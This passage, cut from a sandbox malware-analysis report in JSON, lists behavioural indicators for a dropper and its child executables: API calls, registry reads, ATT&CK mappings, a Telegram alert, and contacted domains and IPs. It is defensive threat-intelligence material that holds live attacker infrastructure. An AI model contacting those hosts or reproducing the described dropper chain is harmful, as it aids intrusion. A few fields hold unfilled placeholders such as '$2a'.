Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"bounty-38813904328784694.exe\" called \"LookupAccountNameA\" with parameters (UID: 00000000-00006528)\n \"bounty-38813904328784694.exe\" called \"GetComputerNameExW\" with parameters (UID: 00000000-00006528)\n \"cde4308e66.exe\" called \"Process32FirstW\" with parameters (UID: 00000000-00005828)\n \"cde4308e66.exe\" called \"Process32NextW\" with parameters (UID: 00000000-00005828)\n \"adc663ab13.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00006500)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"bounty-38813904328784694.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00006528)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"bounty-38813904328784694.exe\" called \"GetForegroundWindow\" (UID: 00000000-00006528)\n \"cde4308e66.exe\" called \"GetForegroundWindow\" (UID: 00000000-00005828)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"cde4308e66.exe\" called \"IsWow64Process\" with parameter \"5828\" - (UID: 00000000-00005828)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"cde4308e66.exe\" called \"GetWindowTextA\" (UID: 00000000-00005828)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"bounty-38813904328784694.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006528)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2a","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"cde4308e66.exe\" called \"GetVersionExA\" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005828)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an APIs used to retrieve geographical location information","description":"Observed import api \"getaddrinfo\" which can be \"used to convert host name to address\" [Source: bounty-38813904328784694]","origin":"Static Parser","mitre_attack_id":"T1082","relevance":5,"id":"static-190","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an APIs used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: bounty-38813904328784694]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileExW@KERNEL32.dll at 45662-2016-0043DE32","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate volumes (API string)","description":"Found reference to API \"GetVolumePathNamesForVolumeNameW\" (Indicator: \"GetVolumePathNamesForVolumeName\"; Source: \"00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp\")\n Found reference to API \"GetVolumePathNamesForVolumeNameW\" (Indicator: \"GetVolumePathName\"; Source: \"00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp\")\n Found reference to API \"GetVolumePathNamesForVolumeNameA\" (Indicator: \"GetVolumePathNamesForVolumeName\"; Source: \"00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp\")\n Found reference to API \"GetVolumePathNamesForVolumeNameA\" (Indicator: \"GetVolumePathName\"; Source: \"00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-194","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoW@KERNEL32.dll at 45662-2077-0044104B\n GetLocaleInfoW@KERNEL32.dll at 45662-2078-004414C8\n GetLocaleInfoW@KERNEL32.dll at 45662-2079-0044129E","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"bounty-38813904328784694.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"bounty-38813904328784694.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"cde4308e66.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"adc663ab13.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"adc663ab13.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"bounty-38813904328784694\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; File: \"bounty-38813904328784694\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumePathNamesForVolumeNameW\" (Indicator: \"GetVolumePathNamesForVolumeName\"; Source: \"00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp\")\n Found reference to API \"GetVolumePathNamesForVolumeNameA\" (Indicator: \"GetVolumePathNamesForVolumeName\"; Source: \"00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp\")\n Found reference to API \"GetVolumeNameForVolumeMountPointW\" (Indicator: \"GetVolumeNameForVolumeMountPoint\"; Source: \"00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.dll at 45662-2952-0043F302","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"bounty-38813904328784694.exe\" queries volume information of \"C:\\bounty-38813904328784694.exe\" at 00000000-00006528-00000C17-3461137476\n \"bounty-38813904328784694.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\10716570101\\cde4308e66.exe\" at 00000000-00006528-00000C17-3466046201\n \"bounty-38813904328784694.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\10716570101\\cde4308e66.exe\" at 00000000-00006528-00000C17-3466047403\n \"bounty-38813904328784694.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\10716580101\\adc663ab13.exe\" at 00000000-00006528-00000C17-3468877053\n \"bounty-38813904328784694.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\10716580101\\adc663ab13.exe\" at 00000000-00006528-00000C17-3468878368","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"bounty-38813904328784694.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"bounty-38813904328784694.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\ADC663AB13.EXE\")\n \"bounty-38813904328784694.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CDE4308E66.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Observed Telegram Domain (t .me in TLS SNI)\" (SID: 2041933, Rev: 2, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Able to read the PEB (Process Environment Block) structure","description":"\"sample.bin\" can read 32 bit PEB structure (dword ptr fs:[00000030h]) (Offset: 179583)","origin":"Binary File","mitre_attack_id":"T1027.007","relevance":3,"id":"binary-30","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"Found string \"GetCommandLineA\" (Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"svchost.exe\"\n Report process \"WerFault.exe\" was created by \"cde4308e66.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"bounty-38813904328784694.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\10716570101\\ (UID: 00000000-00006528)\n \"bounty-38813904328784694.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\10716580101\\ (UID: 00000000-00006528)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"bounty-38813904328784694.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\10716570101\\cde4308e66.exe\"\" - (UID: 00000000-00006528)\n \"bounty-38813904328784694.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\10716580101\\adc663ab13.exe\"\" - (UID: 00000000-00006528)\n \"adc663ab13.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe\" - (UID: 00000000-00006500)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2b","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2c","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"t.me\"\n \"commum.asia\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"94.154.35.25:80\"\n \"178.16.54.200:80\"\n \"149.154.167.99:443\"\n \"109.104.153.203:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; File: \"bounty-38813904328784694\")\n Found reference to API \"BasepConstructSxsCreateProcessMessage\" (Indicator: \"CreateProcess\"; Source: \"00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"bounty-38813904328784694\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; File: \"bounty-38813904328784694\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"bounty-38813904328784694\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"SleepConditionVariableCS@KERNEL32.dll at 45662-1937-00426D9D\n SleepConditionVariableSRW@KERNEL32.dll at 45662-1939-00426DFC\n SleepConditionVariableCS@KERNEL32.dll at 45662-1940-00426DDC","origin":"Hybrid Analysis 